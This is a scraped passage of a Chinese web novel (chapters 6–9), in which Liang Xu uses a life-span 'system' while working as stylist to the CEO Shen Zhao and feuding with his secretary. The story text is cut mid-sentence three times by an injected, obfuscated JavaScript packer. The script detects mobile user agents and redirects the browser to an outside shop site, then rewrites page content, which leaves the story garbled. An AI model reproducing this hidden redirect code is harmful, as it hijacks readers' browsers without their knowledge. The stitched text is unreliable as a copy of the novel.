梁絮对稀有任务产生了兴趣,道:“还有金色的,奖励怎么个丰厚法?” 系统说:“比如说,可以减免一定的金额总数。” 梁絮睁大了眼,她一直以为三百万的总数是雷打不动的,没想到还可以通过做任务来抵消一部分。她试探道:“能减多少?” 系统道:“不一定,要根据具体情况来确定。未触发的任务,暂时不做过多说明。” 梁絮发现这个系统还挺谨慎,不会轻易被自己套话。不过既然金色任务这么稀有,自己也不一定有机会碰上,还是得以完成蓝色和绿色的任务为主。 梁絮点击了一下那个赚钱的日常任务,发现增加了任务描述:每赚取一千元,增加一天寿命。 她觉得跟从前不一样了,说:“之前不是没有系统描述吗?” 系统像Siri一样冷冰冰地说:“您好,系统会随着您的能力不断升级,2.0版本增加了少量任务描述和目标人物高亮。请问是否体验新功能?” 梁絮说:“之前不是还说没有任务描述是为了高自由度吗?还有目标人物高亮是什么鬼?” 系统忽略了她的前一个问题,说:“目标人物是能够协助宿主完成任务的人。如果能够跟优秀的异性结成伴侣,对方的爱意值能够源源不断地转化成宿主的生命力。” 梁絮陷入了沉默,片刻发出了灵魂质问,说:“说好的自强系统呢?怎么还要靠对象?” 系统说:“对方的爱意只会转化成生命,财产并不计入宿主的成绩当中,三年期满,还是要根据宿主个人挣钱的能力来衡量结果。” 梁絮想了一下,觉得自己对独立自强这个词有误解,没人规定女强人就不能谈恋爱。系统的意思是说,恋爱可以谈,钱还是要自己赚。 那么这个恋爱对象就约等于一个奶妈,可以让自己不必疲于应付一个又一个的任务,为了生存而心力交瘁。 她迅速地摸到了其中的规律,说:“那目标人物是不是也有等级区别?” 系统沉默了一下,似乎不想这么快告诉她。门外响了两声,白小飞把门推开一条缝,探进头来说:“你在跟谁讲话?” 梁絮霍然发现,以前普普通通的白小飞,脑袋上好像顶着一个蓝色的光团。 梁絮揉了揉眼,以为自己看错了。白小飞又问了一遍,梁絮才回过神来,假装没事人似的说:“我上网呢,hiSiri,牛排怎么做?” 系统为了顾全大局,只好屈尊伪装成Siri的模样。它搜了一段百度百科,冷冰冰地念给白小飞听:“牛排,steak,常见有四种类型,菲力、肋眼、西冷……” 白小飞说:“你想吃牛排了?最近家里是有点省了,该打打牙祭了,明天我去买肉。” 梁絮连忙摆手,说:“不不,我只是随便问问,最近的顶流,男明星是谁!” 假冒的Siri老师冷淡地说:“艺人榜第一,今日票数324819……” 白小飞奇怪地看着她,觉得这丫头以前不怎么追星的,最近不知道怎么回事,行为特别反常。梁絮也在悄悄地看他头顶上的蓝色光团,觉得像一团软软的棉花糖,还挺可爱的。 白小飞说:“你……要喝点水吗?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14309949|152335||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 梁絮想了想说:“好啊。” 白小飞拿杯子去给她兑了一杯温开水,梁絮喝了一口,领情地说:“谢谢。” 这时候她发现白小飞头上的光圈微微闪了一下,耳中听见系统的声音,叮,白小飞好感加一,请问是否兑换。 梁絮一脸懵,白小飞说:“怎么了?” 梁絮也不知道该说什么好,打了个呵欠说:“我困了,晚安。” 白小飞便出门去了,片刻又觉得不对劲,自言自语道:“她不是用安卓系统吗?手机里怎么会有Siri?” 梁絮把白小飞的那一点好感值兑换出了十分钟的生命值,心生感慨,果然受欢迎的人能活得更久一些。 她刚才跟白小飞聊了十分钟,兑换了十分钟的生命。这么看来,不赚不赔,想要赚取更多的生命值,还是得找个更有效率的办法。 梁絮趴在窗户上,拉开窗帘,看外面的行人。这个点没什么人了,只有几个送外卖的小哥骑着车来回,梁絮发现他们头上并没有光团,看来系统的目标人物很稀少。 她认真地想了半天,不知道自己是不是要跟发小谈恋爱来补充一点生命力。 对她来说白小飞就跟她的亲弟弟似的,她虽然知道白小飞对自己有好感,但要跟他谈恋爱,实在是下不去手。 她决定再看一看,说不定会有更合适的人选出现,如果实在没有,那就宁缺毋滥。 她想起了自己的前男友,顿时打了个哆嗦,一阵恶心感直冲头顶。 如果男人都是那样的货色,那她还不如单身一辈子。 梁絮定了五点半的闹钟,次日铃声一响,她便从床上弹了起来。她穿上西装,带上昨晚收拾好的装备,出门往地铁站赶去。 清晨还没什么人,梁絮奔跑在晨风里,心情特别好。她仿佛又回到了十八岁,激情奔向未来,以职场女性的形象拥抱崭新的人生。 她冲进地铁,站在人群里,忽然想起了昨天晚上的事。她忍不住东张西望,小声道:“Siri老师,帮我看看有目标人物没有啊?” 系统冷淡地说:“我不是Siri,已为你打开目标人物高亮功能。” 她好奇地开始东张西望,发现整个车厢里都没有一个人脑袋上有光团。她怀疑系统坏掉了,小声说:“你行不行啊?怎么一个也没有?” 系统说:“有,正前方三米处。” 梁絮看到一个人两腿盘着,手里拿着个茶缸,慢慢挪到她近前,口袋里一个收音机公放着好人一生平安。周围的人见了他,都迅速躲开,于是拥挤的早班车就变得更拥挤了。 梁絮看着那个人,他的头顶飘着个黑色的光团。看到那团黑雾的同时,梁絮感觉整个人的情绪都要被拉进黑洞里似的,充满了痛苦、同情、挣扎和各种负面情绪。 系统幸灾乐祸地说:“太过糟糕的人,也是有标识的。” 梁絮:“……” 那人见梁絮看着自己,对她伸出手,说:“姑娘,行行好。” 梁絮十分尴尬,从口袋里掏出一元钱,放进了他的缸里,然后逃也似的挤进人群,躲到了另一个车厢里。 梁絮费了大半天劲,下了地铁一路小跑,终于到了沈钊的家。她进门看了一眼表,七点二十。 沈钊坐在沙发上,面无表情地说:“你迟到了。” 梁絮抹去头上的汗,解释道:“我已经尽力了,我五点半就起了……” 沈钊道:“你是个成熟的社会人,迟到了没有任何借口,只能怪你自己做事不周全。” 梁絮喘着气,抬起眼,想在他面前扮个可怜,争取萌混过关。她忽然勾勾地盯着沈钊,仿佛看到了什么不可思议的东西。 沈钊的头上,赫然飘着一个亮闪闪的,金色的光团。 7. 第七章 金色的! 梁絮盯着他头上那团浮动的光团,感觉整个人都不好了。 要是在抽卡游戏里,这就是SSR级人物了。梁絮默默地盘算这样的牌得氪多少金才能拿到手,算来算去眼冒金星,感觉就算氪到破产也摸不到他一根头发。 然而她现在的工作,正是天天摸沈钊的头发,甚至还能摸一摸他的胸肌和腹肌,这让她实在有些惶恐。 梁絮看着镀金的沈傲天,不知道该以什么态度对待他才好。毕竟沈钊身家几个亿,不是自己这等草民能攀附的。要是得罪了他,说不定生命值还会倒扣。 梁絮想起自己今天还迟到了二十分钟,冷汗开始顺着脖子往下淌。 沈钊不知道她在想什么,见她一直盯着自己的头顶看,下意识抬头看了一眼。 光团随着他的脑袋动来动去,始终飘在他的头顶。梁絮忍不住笑了一下,沈钊沉下脸来说:“还笑,严肃点。挨骂要立正,挨打要站稳,听过没有?” 梁絮只好立正站好,说:“对不起。” 她其实不讨厌这种摆明了条框让人遵守的老板,就好像面前摊着一张地图,哪里有雷区标记清楚了,哪里有奖励也说的很明白,而不是让人费尽心思地去摸索一些虚头巴脑的潜规则。 沈钊掏出手机,给绩效科的主任留了个言,说:“九月二十九日,梁絮迟到二十分钟,奖金扣一百。” 梁絮的脸都绿了,想着自己买十块钱的大白菜省着能吃一个星期,一百块钱就是她一个月的伙食费啊!她感觉社会爸爸又开始毒打自己了,有种欲哭无泪的感觉。 沈钊对自己的好感度涨没涨她不知道,反正自己对他的好感度是蹭蹭地下降。 这么想着,她脑子里忽然灵光一现,想:“系统也没说非得谈恋爱才能获得好感值。工作做得让他满意,也能博得他的好感吧?这样的话,难度就低的多了……每天只需要认真工作,多攒点好感度,就能兑换时间。” 她眼睛亮晶晶的,不知道这样的SSR级大佬,一点好感值能兑换多少生命力? 沈钊放下手机,像个没事人似的说:“好了,该你工作了,今天准备给我搞什么造型。” 梁絮想着自己失去的一百块,特别想弄个懒羊羊的发型给他顶在头上。 两人去了洗手间,梁絮打开大灯,摆了个凳子放在镜子跟前。沈钊坐着,她对那团金色的光团实在很感兴趣,忍不住伸手拨弄了一下。 光团穿过了她的手指,轻微地动了一下,像个被骚扰的史莱姆,浑身透着股委屈。 梁絮觉得有趣,又戳了戳它。 沈钊透过镜子,看到梁絮对着自己脑袋上方的空气戳来戳去,不知道是什么恶趣味。他轻咳了一声,说:“这是什么仪式,你在做法吗?” 梁絮清醒过来,不好意思地笑了笑,说:“那个,我在衡量您的发量。” 沈钊半信半疑地嗯了一声,梁絮进入了工作状态,说:“吹风机您这儿有的吧?” 沈钊无聊地指了指洗手台下的柜子。梁絮弯腰去翻吹风机的功夫,沈钊从她带来的牛津包里拽着电线,好奇地抽出了一根直径36mm的卷发棒。 他像拿着什么违禁物品似的盯着它看了半天,跟梁絮对上了眼。他仿佛觉得不可思议,好奇地说:“这干嘛用的,该不会是我想的那种用途吧?” 梁絮怔了两秒钟,明白过来他说的那种用途是什么意思,头上暴起了青筋,心想:“你把我当成什么人了,色/情狂?看我给你点厉害瞧瞧!” 梁絮面无表情地把卷发棒插上电,片刻打开水龙头,撩了几滴水珠上去。烙铁似的卷发棒发出嘶的声响,同时冒出了一缕青烟。 她恭敬地说:“要是拿它做您想的那个用途,很可能会残废。” 沈钊:“……” 他意识到面前的这个姑娘是朵带刺的玫瑰,不好惹,还是不要乱说话为妙。 梁絮感觉吓过之后他乖多了,于是继续给他干活儿。沈钊健身完之后都要洗澡,此时略长的头发还没干透,软软的挺好打理。梁絮给他把头发吹的蓬松了些,然后拿卷发棒夹住他一缕头发,停留了几秒钟松开,他的头顶出现了一个柔软的大卷儿。 沈钊以前不怎么跟理发师打交道,对于整理发型的认知仅限于推子、剪子和吹风机。他对着镜子新鲜地看了一会儿梁絮给他做发型的过程,仿佛打开了新世界的大门。 梁絮的手保养得很好,白而且细长,轻轻拨弄他头发的时候,带来微微的酥麻感,好像是在给他做按摩。沈钊觉得挺舒服,早晨因为等她而不爽的心情也渐渐好了起来,觉得雇她一个月两万不算白花钱。 沈钊闭着眼开始小憩,梁絮给他把头发烫出弧度,然后反方向梳开,让头发显得蓬松有型,最后喷上啫喱水,一个雅痞范儿的发型就做好了。 沈钊对着镜子看了几眼,觉得不错,这么一打扮还挺有男明星的范儿的。 梁絮想着自己那个长期存在的赚钱任务,每赚一千块就多活一天,必须见缝插针地持续完成这个日常。 她看着镜子里的美男子,衷心地说:“沈总的骨相好,长得帅,稍微一收拾就刷掉明星榜上的一大半男人。您要是进军演艺圈,肯定已经是顶流了。” 沈钊对她的马屁很受用,说:“我要是进娱乐圈发展,肯定走演技派路线,当顶流粉丝太多了,心累。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14309950|152335||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 梁絮夸他不白夸,还有后招,说:“您模样是一等一的好,就是皮肤有点……” 她指了指沈钊左脸上的一个痘坑,说:“您得勤保养着,经常敷个面膜什么的,精华安瓶也得用起来。您的黑眼圈有点重,得用眼霜修复一下,还有补水保湿也没做到位……” 她叽里呱啦地说了一大堆,沈钊像听天书一样,茫然地摸自己的脸,没想明白怎么上一秒还被她夸成天下第一美男子,这一秒就已经是风干的老树皮了。 梁絮唠叨完了,露出了狐狸尾巴,说:“您看皮肤保养工作需要我帮助吗?” 沈钊心想一个月花两万雇她,不用白不用,于是说:“我的形象都归你管,你看着办吧。” 梁絮立刻说:“好的,那我等会儿去给您采购一些护肤保养品。” 她表面上仪态万方,内心兴奋地直苍蝇搓手——她挂在二手网站上的那些全新的护肤品打八折都无人问津,有了这个冤大头,她就能把自己的囤货原价转卖给他了。 凭良心说,梁絮觉得自己不过分,别人给总裁采购都要加价。自己把东西原价卖给他,这有什么问题,完全是公平交易各取所需。 她带着沈钊去了衣帽间,给他挑了一件白衬衫,一件方格的休闲西装和一条牛仔裤。 沈钊看着这些衣服,眉头皱了起来,说:“太平庸了,跟卖保险的似的,你就这个水平?” 梁絮心想:“日常通勤装你还想穿出什么花儿来,干嘛非要引人注目,承认自己是个普通人有这么难吗?” “这样挺好的啊,”梁絮说,“我觉得您可以适应一下这种平易近人的风格。” 沈钊根本不理她这茬,傲然道:“我对你的工作是要评分的,如果满意度太低,那就只好请你另谋高就了。” 梁絮感到了丢饭碗的危机,立刻收回了白衬衫和西装外套,找出了一件骚粉色的飞行员夹克和一件黑T恤,搭配一双运动鞋,毕恭毕敬地说:“这样休闲一些。” 沈钊觉得这回总算跟自己狂拽酷炸天的风格融合了,接过衣服去隔壁换上了。 片刻他出来了,觉得还算满意。梁絮站在旁边,像个伺候土财主的丫鬟,心里疯狂刷屏两千字黑他杀马特非主流,表面心悦诚服地赞美道:“太帅了。” 沈钊对着穿衣镜左看右看,觉得还欠缺个配饰。他招了招手,梁絮心领神会地拿了一个泛着绿光的大墨镜过来。沈钊戴上了,像熊瞎子似的,然而这回他感觉十分满足,露出了一个痞气的笑容,说:“很好,就这样吧。” 他对着镜子又照了照,仿佛要把嘲笑过自己衣品的人都踩在脚下似的,自语道:“这回让你们见识一下,什么是真正的帅气!” 8. 第八章 沈钊趾高气昂地去了公司,来到了会议室。秘书给他开了门,仿佛轰然一声光芒万丈,屋里一群小弟惊愕地看着他,都有种来了个明星的错觉。 沈钊的衣着依旧配色大胆,然而明显比从前精致了不止一点。他的头发柔软蓬松,显得很有韩范儿,短夹克配上牛仔裤,两条大长腿特别抢眼。不过这一身帅归帅,明显不适合眼下这个场合,更适合拿杯咖啡搞个街拍。 沈钊扫了一眼众人惊艳的反应,感觉很满意。他摘下墨镜,若无其事地坐在上首,说:“开始吧,咱们先把下个月的工作安排一下。” 片刻众人开完了会,各忙各的去了。李浩等在最后,过来说:“今天挺帅气的。” 沈钊挺高兴,发小的认可比别人的马屁更有价值,能让他多吃两碗饭。他说:“是吗?” 李浩伸手掸了掸他领子上的灰尘,说:“就是艳了点,大男人穿什么骚粉色?” 沈钊一挺胸膛,说:“什么骚粉色,这叫鲑鱼粉,多显气色!” “挺显眼倒是真的,上班时间还是穿稳重点好。”李浩笑了笑说,“不过比以前有进步,继续保持。” 沈钊觉得他就是口嫌体正直,明明已经被自己英俊的本质折服了,还要装出一副古板的态度,说什么再接再厉,有待进步。 他说:“年纪轻轻的,别总跟教导主任似的,才二十多你心态就苍老成这样了吗?” 李浩不服气了,道:“我像教导主任?明明是你像不良少年好吗?” 沈钊便哈哈地笑了,说:“我去年还被评为十大杰出青年呢,你对群众的选择有什么意见?” 李浩怼不过他,只好投了降,说:“你是天选之子,我没意见。” 两人各自回了办公室。沈钊对于大家的反应很满意,觉得照这样下去,自己就能彻底摘下野鸡穿搭的大帽子了。他按捺不住愉快的心情,给梁絮发了个微信,说:“反响不错,早晨扣的那一百还你。” 梁絮挺兴奋,简直要为他唱一首感恩的心,回复道:“谢谢沈总。” 与此同时,她听到了系统叮的一声,沈钊好感度加五。梁絮心花怒放,心想白小飞一点好感度都能换十分钟,沈钊的五点能换多少? 沈钊去办公室转了一圈,没找到她的身影,说:“你在哪儿呢?” 梁絮九点钟来公司打了个卡,然后就跑回家去收拾那些堆积成山的化妆品,准备倒卖给沈钊。她说:“我在……给您采购。” 沈钊考虑到她直接为自己服务,没有同事提点,可能连吃饭都找不到地方。他贴心地说:“中午咱们公司的餐厅提供自助餐,尽量回来吃。如果出勤,在外的午饭带发/票回来可以报销,二十块钱标准,早晚饭不包。” 梁絮听说食堂有自助,在外吃饭还能报销,迅速盘算了一下,每个月又能省四百多,整个人都仿佛得到了滋润,灵魂像棵小苗一样舒展了。 她说:“好的,我收拾好了就回食堂蹭……吃饭。” 沈钊哈哈地笑了,说:“少吃点,保持身材。” 聊完了,梁絮先看系统,拿沈钊的五点好感值去兑换生命值,系统哗啦啦地吐出了十个小时。梁絮整个人都震惊了,他的一点好感度居然能换两个小时,要是跟他结了婚,那还得了? 梁絮开始幻想如果自己被他爱上了,每天坐着就能收割好感度,别说生命值不愁没得补充,简直都能长生不老了。 梁絮幻想了片刻,从贫穷的现实中清醒过来,觉得做人还是要务实。沈傲天的逼格太高了,比起肖想他,自己还是努力赚钱更靠谱一些。 梁絮盘点了自己要倒卖的存货,包括三盒海藻泥面膜,五盒涂抹式水光针,两瓶色号买深了不能用的粉底液,一个修容盘,几瓶古龙水,一箱防脱洗发水和生发液,还有一些杂七杂八的小玩意儿。 梁絮算了总价,一共是一万两千七。她是七夕搞活动的时候买的,全场打七折,按原价卖给沈傲天就能净赚三千八百一十块钱。 她看着计算器上的数字,心砰砰直跳,仿佛听见了金钱进账的声音。 她下载发/票打印了出来,开着白小飞的车把东西运到了沈钊家。沈钊给她留了个落脚的房间,梁絮暂时把这里当成了仓库,堆放各种要用的东西。 家政阿姨见她像个搬运工似的,笑道:“小姑娘真能干。” 梁絮挖资本家的墙角还是挺有热情的,客气地说:“没什么,为老板服务。” 她收拾完了东西,看表十一点多了,连忙开车去了公司,直奔食堂,准备大杀四方。 食堂里人头攒动,墙上钉着大幅的标语:“节约是美德。每浪费一百克食物,罚款十元。” 梁絮端着盘子走了一圈,发现食物的种类还挺丰富的,有鱼虾肉类,还有水果、点心,主食有炒河粉、包子、馒头、炒米饭。而且好吃的没有一上来就被抢空,说明沈霸霸的员工已经被他宠的对食物没有太大的激情和渴望了。 梁絮作为贫困人口,有种老鼠掉进米缸里的幸福感。她一路走一路盛饭,盘子里堆满了煎饺炒面,熏鱼、寿司、哈密瓜和凤梨。 她找了个桌子坐下,夹起一个煎饺,一口咬下去肉汁涌了出来,里头的肉馅肥而不腻,外表的脆皮又特别酥,咯吱咯吱咯吱,随着咀嚼,一股幸福感从她的身体里生了出来。 她又吃了块三文鱼寿司,味道特别鲜美。吃到哈密瓜拌凤梨的沙拉,鼻腔里都是果肉丰盈的香气。她想起了沈钊的话,总算知道他为什么特意提醒自己保持身材了——这里的饭实在太好吃,一不小心就要被喂成猪了。 她正吃着饭,一个男人过来坐在她对面,笑了笑说:“搭个桌。” 梁絮抬头,见是沈钊的好基友李浩。她感觉自己这个满嘴油花的形象跟高冷的外表背道而驰,立刻坐正了,拿餐巾纸抹了嘴,说:“李总您好。” 李浩笑了,说:“不用拘束,吃你的就行了。” 梁絮把最后一块哈密瓜填进嘴里,矜持地打了个嗝,说:“饱了。” 李浩是吃饱了过来的,盘子里就放着两个裹着锡纸的乳酪小蛋糕。他递了一个给梁絮,说:“来一个?” 梁絮正襟危坐,眼睛盯着甜食,狠心拒绝道:“我得保持身材。” 她知道他来肯定有正事要说,生出了一点紧张的情绪。 李浩果然开口道:“你今天给他搭配的衣服不错,形象比从前好了很多。不过我希望你能让他再低调一些,争取半年之内让他拥有正常人的审美,能做到吗?” 梁絮知道自己的奖金发多少都归这个大管家说了算,不能得罪他。这人心细如发,自己对付沈钊的那一套在他面前不好使,于是点头道:“明白,这也是为了他和公司的形象好,我听您的。” 李浩平静地说:“做到了工资给你加一档,要是做不好,我就只能换个听话的人来了。” 梁絮勉强笑了一下,心里悲催地想:“系统派完了任务,人又来给我塞任务。为什么给我找这么多活儿干,一个个的还都这么拽,做不到就开除,要不要这么不讲道理啊?” 她腹诽完了,还得装乖,说:“保证完成任务。” 李浩对她的乖觉很满意,慢条斯理地把蛋糕吃了,起身说:“我看你表现。” 梁絮下午去了自己的办公室,跟沈钊的秘书待在一起。她们的办公室跟沈钊就隔着一层玻璃,有事沈霸霸会打电话过来吩咐,有时候他会像狮子巡视地盘儿似的出来走一圈,活动筋骨,然后又回去埋头工作。 沈钊的秘书名叫徐莉莉,长得腰细腿长,嘴唇涂得鲜红,让人一看就知道不好惹。梁絮一直觉得自己是女中豪杰,见到这位浑身散发着老娘最拽气质的女人,竟也不得不承认,要是比凶悍,还是眼前这位更胜一筹。 徐莉莉身为沈霸霸的御前答应,当着他面时恭顺的温柔似水,面对其他人的时候则是充分表现了六亲不认的本性,毫不留情地使用各种眼神杀、语言讽刺,以及气场震慑一切企图上位的小妖精。 梁絮这个小新人被安排在了她的地盘上,徐莉莉自然是要给她个下马威的。 梁絮观察徐莉莉跟沈钊说话的时候,轻声细语的十分温柔,犹如一个情窦初开的小姑娘,以常理推断这女人暗恋他。她不想被这个女人当成潜在的竞争对象,只想尽量降低自己的存在感,安静地混过每一天。 梁絮收拾了桌子,坐在电脑跟前,随手翻着淘宝爆款了解流行趋势。她是沈霸霸的梳洗丫头,霸总用不着的时候,她基本上都闲着。徐莉莉说:“喂。” 梁絮听见了,但是觉得她的口气不好,不想理她。 徐莉莉大声道:“新来的。” 梁絮回头道:“什么事?” 徐莉莉发现这小秀女居然还挺冷淡的,居然不来主动讨好自己。她觉得有必要让她明白一下什么叫做职场的等级差,下命令道:“你把地扫一下。” 梁絮心想初来乍到的,多干点活儿也无妨,便没说什么,起身拿了笤帚扫了一遍灰尘。 徐莉莉指着拖把说:“涮涮,把地擦一遍。有点主人公意识,看着哪里脏了主动收拾,别属陀螺的,不拨不转。” 梁絮忍耐着把地擦了一遍,徐莉莉姿态优美地往垃圾桶里扔了一团废纸,然后指了指垃圾桶。梁絮只好去把垃圾桶倒了,她忙完坐了回去,想着可以安静一会儿了。徐莉莉还不消停,下命令道:“沈总要喝下午茶,去买星巴克过来。” 梁絮不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14309951|152335||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 想陪她玩了,心烦地说:“他没打电话啊。” 徐莉莉说:“每天下午都是这个规矩,不用吩咐也得准备下。” 梁絮虽然不想惹事,但也不能吃亏,冷漠地说:“我又不是他的生活助理,这事不归我管。” 徐莉莉没想到这小妮子还挺扎手,说:“我让你去你就去,哪那么多事。” 梁絮啧了一声,嫌烦地站起来,觉得这个女人真的挺爱欺负人的。她刚来第一天,不想大闸蟹似地跟人掐架,于是穿上外套出门去了。片刻她买了咖啡和点心回来,徐莉莉接了过去,敲门进去说:“沈总,您的下午茶。” 沈钊一门心思分析数据,没心思搭理她。徐莉莉又问了一声,沈钊赶苍蝇似的挥了挥手,说:“咖啡留一杯给我,点心你们吃吧。” 徐莉莉留了杯拿铁给他,拿着点心出来了。刚才她进去的时候玻璃门没关,梁絮托着腮看里头,根据俩人的口型和模糊的声音判断出了他们的对话,等着分一杯羹。 然而徐莉莉把点心往自己的办公桌下头一收,不做声了。 梁絮从刚才起就一直憋着火,见了徐莉莉的骚操作,越发生气了。她心想:“什么情况,沈钊说好了让你分的呢?我大老远排队买回来的,你光让我闻个味儿就算了?” 徐莉莉铁了心要吃独食,顶着她谴责的目光,若无其事地打开了空当接龙,开始消磨时间。 梁絮想着自己是新来的,没必要跟她这个地头蛇较劲,虽然心里不爽,但是没说话,只是默默地盯了她一眼。 徐莉莉敏锐地感到了梁絮的不愉快,回头看着她,傲慢地说:“看什么?” 梁絮笑了一下,说:“没什么,就是想问问,那点心有我一份么?” 徐莉莉一副嘲讽的口吻说:“想什么好事呢,刚来一点贡献都没有,净想着好吃懒做。” 梁絮觉得她这话就太冲了,冷笑了一声,心想:“不知道是谁好吃懒做呢。” 徐莉莉对她的冷笑十分不爽,翻了个白眼,把键盘往里狠狠一推,制造出慑人的噪声,这个态度根本就是要把她三天内气得卷铺盖走人的意思。 梁絮觉得这女人的性格太差了,如果不是来大姨妈暂时性暴躁,那就太可怕了,天天这样跟炸药似的,谁敢娶她? 缘分就是这么奇妙,有的人会对陌生人一见钟情,也有人与人一见面就势成水火。 讨厌一个人,十分钟就够了,不需要天长地久的鏖战,也知道这个人很烦。 徐莉莉浑身弥漫着杀气,梁絮能感觉得到,但就是不给她眼神。 梁絮拿着笔转来转去,嘴角带着嘲讽的笑,心想:“你男神一个月给我开两万块钱呢,哪那么容易让你把我气走了。你姑奶奶我铁了心在这儿干到退休养老,咱们看谁能熬得过谁。” 两人在沉默中对峙了片刻,徐莉莉决定打探一下她的底细。 她开口道:“你什么学历?” 梁絮假装没意识到她言语中的不客气,像孔雀开屏一般炫耀自己道:“本科,服装设计专业,英语过了六级,大四拿过大学生服装设计大赛的冠军,还自学拿了化妆师证。祖辈本地人,家里有两套房。你呢?什么学历?” 徐莉莉是小城市来的,听说她不但是本科毕业,还是本地人有房,登时有种被打压的感觉。她哼了一声,说:“那有什么了不起的,也就是生的好点罢了……” 梁絮笑了,说:“不是你问的吗,没多了不起,有些人还达不到这程度呢。” 徐莉莉感觉她的态度太硬了,双眉一挑,有些要发威的意思。梁絮摆了个请的姿势,替她说:“沈总就在里头,你随时可以进去告状。” 当老板的又不是班主任,最讨厌员工处理不了人际关系还要来打扰自己。徐莉莉不想在他面前破坏了自己的形象,只好吃了这哑巴亏。她不服气,又说:“你给沈总做穿搭,工作挺轻松的吧?” 梁絮看得出她喜欢沈钊,把椅子横过来对着她,小姐妹似地推心置腹地说:“这活儿是挺轻松的,福利还好。每天给他做发型,帮他穿衣服、打领带。他的身材特别好,八块腹肌,今早我还摸了呢,手感超好。你不知道他这个人其实挺会撒娇的,衬衫扣子都要人帮忙系……” 她眉飞色舞地满嘴跑火车,故意刺激人。徐莉莉听着她绘声绘色地编故事,眼神从羡慕嫉妒恨渐渐变成了一种十分怪异的表情,似乎想笑又不敢。 梁絮莫名其妙地歪头,说:“怎么了?” 徐莉莉沉默着,伸手指了指她身后。 梁絮回过头去,见沈钊倚在办公室门口,听着她胡说八道,露出了一个微妙的笑容。 “接着说,我听着呢。” 梁絮:“……” 9. 第九章 两人面面相觑,场面一度十分尴尬。 梁絮被当事人抓住了吹水现场,脸迅速红了,恨不能挖个地洞钻进去。 沈钊收敛了笑容,一本正经地说:“我什么时候让你摸我腹肌了?还给我系扣子?我是那么不自重的人吗?” 梁絮只好站起来,尴尬道:“沈总我开玩笑的。” 沈钊道:“败坏上司名节,道歉就完了?” 梁絮觉得男女得一视同仁,女人在意名声,男人自然也讲究这些的。 她小声道:“那怎么办……我写检讨?” 沈钊扑哧一声笑了,说:“跟个小学生似的……我稀罕你检讨吗,刚才那股子蛮劲儿呢?” 梁絮感觉他也没太当回事,大约是在跟自己逗着玩,壮着胆说:“没了,一见您就都没了。” 沈钊笑了一下,威胁道:“我从刚才就听见你们俩在外头斗嘴。上班时间安静一点啊,再吵架就上咱们公司的私刑了。” 他说着转身回去了。屋里安静了片刻,梁絮小声道:“什么私刑?” 徐莉莉不寒而栗地打了个哆嗦,不情愿地说:“员工如果有纠纷,当事人要手拉着手,面壁三个小时。” 梁絮想象了一下自己跟这等势利眼刁女十指紧扣的情景,顿时感到一阵恶寒。她冷静下来了,觉得以后还是得规矩做人,退一步海阔天空。 徐莉莉补充道:“如果中途松开了手,那就要罚拥抱,并且跟对方亲密贴脸以示友好。” 梁絮打了个哆嗦,内心彪悍的人格扑通一声跪倒在地,心想:“我错了沈霸霸,以后我对这些人能忍就忍,只要别让我跟仇人贴脸就行。” 她后知后觉地想起来,自己在背后说沈钊的坏话,不知道他有没有讨厌自己。她小心翼翼地看了沈钊一眼,透过玻璃墙,发现他也正在看这边。 两人对视了一记,梁絮听见系统叮的一声,沈钊好感度加一。 梁絮莫名其妙,不知道怎么这样也能加好感。沈钊笑了一下,似乎觉得小丫头挺有意思,低头继续忙工作了。梁絮觉得不管怎么样,反正是赚了两个小时,终归是件好事情。 终于熬到了下班,梁絮背上小皮包,从徐莉莉旁边走了过去。徐莉莉嗤笑了一声,对着她的戴妃包轻蔑地说:“A货。” 梁絮这包是用设计大赛的奖金从实体店买的,听她诋毁自己的装备,恨不能把发/票翻出来扔她脸上。她停下来耸了耸鼻尖,微笑道:“香水真好闻,大H的尼罗河花园?” 徐莉莉矜持地从鼻子里哼出了一声:“嗯。” 梁絮颔首道:“仿的还挺像,就是太轻浮了,并夕夕买的吧。” 徐莉莉气得脸都红了,怒道:“说什么呢你,我从机场免税店带回来的!” 梁絮笑道:“房租都快交不起了,还出国血拼呢?该不会是那种买家电送欧洲十日游的夕阳红购物团吧?” 徐莉莉感觉受到了侮辱,恨不能抬脚狠踹她屁股。然而梁絮打完嘴炮就走,只给敌人留下一个夕阳中孤傲的背影。 高跟鞋清脆的声音回荡在走廊上,梁絮面带微笑,心情十分愉快。 对付这种恶人,一直让步反而让她觉得自己好欺负,适当地回击才能保护自己。以前她对恶人忍气吞声,牺牲小我、拖累全家,日子越过越糟糕。古话说得好,以德报怨,何以报德?如今她以直报怨,感觉人生仿佛走上了一条大道,刺激又痛快。 